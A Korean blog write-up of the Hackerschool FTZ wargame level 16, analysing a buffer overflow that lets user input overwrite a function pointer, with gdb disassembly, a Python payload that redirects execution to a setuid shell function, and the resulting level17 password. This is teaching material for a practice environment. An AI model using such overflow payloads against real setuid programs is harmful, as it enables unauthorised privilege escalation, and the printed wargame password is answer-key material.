[FTZ] level 16 → level 17 문제풀이 본문

Pwnable/해커스쿨 FTZ write-up

[FTZ] level 16 → level 17 문제풀이

disso1p1 2020. 3. 6. 22:42

 

 

 

level16 - id : level16 , pw : about to cause mass



[level16@ftz level16]$ ls
attackme  attackme.c  hint  public_html  tmp
[level16@ftz level16]$ cat attackme.c
cat: attackme.c: 허가 거부됨
[level16@ftz level16]$ cat hint


#include <stdio.h>
 
void shell() {
  setreuid(3097,3097);
  system("/bin/sh");
}
 
void printit() {
  printf("Hello there!\n");
}
 
main()
{ int crap;
  void (*call)()=printit;
  char buf[20];
  fgets(buf,48,stdin);
  call();
}   

[level16@ftz level16]$

 

printit 함수의 메모리 주소를 call 함수포인터에 저장한다.

그리고 변수 buf 에 표준입력으로 입력받고, printit 함수(call)를 호출한다.

 

여기서 buf 는 20byte 이지만 fgets 함수로 최대 48byte 만큼 입력 받기 때문에

BOF 취약점이 발생한다.

 

그러므로 *call 이 있는 위치에 shell 함수의 메모리 주소로 덮으면 쉘이 실행될 것이다.

 

 

attackme 파일을 gdb 로 분석해보자.

 

[level16@ftz level16]$ cp attackme tmp
[level16@ftz level16]$ cd tmp
[level16@ftz tmp]$ ls
attackme
[level16@ftz tmp]$ gdb -q attackme 
(gdb) set disas intel
(gdb) disas main
Dump of assembler code for function main:
0x08048518 <main+0>:	push   ebp
0x08048519 <main+1>:	mov    ebp,esp
0x0804851b <main+3>:	sub    esp,0x38
0x0804851e <main+6>:	mov    DWORD PTR [ebp-16],0x8048500
0x08048525 <main+13>:	sub    esp,0x4
0x08048528 <main+16>:	push   ds:0x80496e8
0x0804852e <main+22>:	push   0x30
0x08048530 <main+24>:	lea    eax,[ebp-56]
0x08048533 <main+27>:	push   eax
0x08048534 <main+28>:	call   0x8048384 <fgets>
0x08048539 <main+33>:	add    esp,0x10
0x0804853c <main+36>:	mov    eax,DWORD PTR [ebp-16]
0x0804853f <main+39>:	call   eax
0x08048541 <main+41>:	leave  
0x08048542 <main+42>:	ret    
0x08048543 <main+43>:	nop    
0x08048544 <main+44>:	nop    
0x08048545 <main+45>:	nop    
0x08048546 <main+46>:	nop    
0x08048547 <main+47>:	nop    
0x08048548 <main+48>:	nop    
0x08048549 <main+49>:	nop    
---Type <return> to continue, or q <return> to quit---
0x0804854a <main+50>:	nop    
0x0804854b <main+51>:	nop    
0x0804854c <main+52>:	nop    
0x0804854d <main+53>:	nop    
0x0804854e <main+54>:	nop    
0x0804854f <main+55>:	nop    
End of assembler dump.
(gdb) 

 

0x08048530 <main+24> 부분을 보면 ebp-56 주소를 fgets 함수의 인자값으로 넘겨준다. (  fgets(buf,48,stdin); )

즉, buf 의 위치는 ebp-56 이다.

 

0x0804853c <main+36> 부분을 보면 eax 에 ebp-16 에 있는 값을 넣고, eax 에 있는 주소로 call 을 한다.

즉, eax 에는 printit 함수의 시작 메모리 주소가 들어갔을 것이고, *call 의 위치는 ebp-16 임을 알 수 있다.

 

 

그럼 ebp-16 에서 4byte 를 shell 함수의 시작 메모리 주소로 덮으면 되겠다.

 

shell 함수의 시작 메모리 주소를 찾아보자.

 

(gdb) disas shell
Dump of assembler code for function shell:
0x080484d0 <shell+0>:	push   ebp
0x080484d1 <shell+1>:	mov    ebp,esp
0x080484d3 <shell+3>:	sub    esp,0x8
0x080484d6 <shell+6>:	sub    esp,0x8
0x080484d9 <shell+9>:	push   0xc19
0x080484de <shell+14>:	push   0xc19
0x080484e3 <shell+19>:	call   0x80483b4 <setreuid>
0x080484e8 <shell+24>:	add    esp,0x10
0x080484eb <shell+27>:	sub    esp,0xc
0x080484ee <shell+30>:	push   0x80485b8
0x080484f3 <shell+35>:	call   0x8048364 <system>
0x080484f8 <shell+40>:	add    esp,0x10
0x080484fb <shell+43>:	leave  
0x080484fc <shell+44>:	ret    
0x080484fd <shell+45>:	lea    esi,[esi]
End of assembler dump.
(gdb) 

 

shell 함수의 시작 메모리 주소는 0x080484d0 이다.

 

 

 

buf(20) + dummy(20) + *call(4)

 

A A ... A \xd0 \x84 \x04 \x08

↑                                                                                                                

ebp-56 ( buf 시작주소 )                                                                        ebp-16 ( *call 시작주소 )

 

 

구조는 이렇다.

 

 

buf부터 dummy까지 ( 40byte ) A 로 덮고, 4byte 를 0x080484d0 로 덮으면 되겠다.

 

[level16@ftz tmp]$ cd ..
[level16@ftz level16]$ ls
attackme  attackme.c  hint  public_html  tmp
[level16@ftz level16]$ (python -c 'print "A"*40 + "\xd0\x84\x04\x08"';cat) | ./attackme
id
uid=3097(level17) gid=3096(level16) groups=3096(level16)
my-pass

Level17 Password is "king poetic".




 

level17 의 권한으로 쉘이 따졌다.

 

 

 

 

 

Level17 Password is "king poetic".

 

 

 

감사합니다

Comments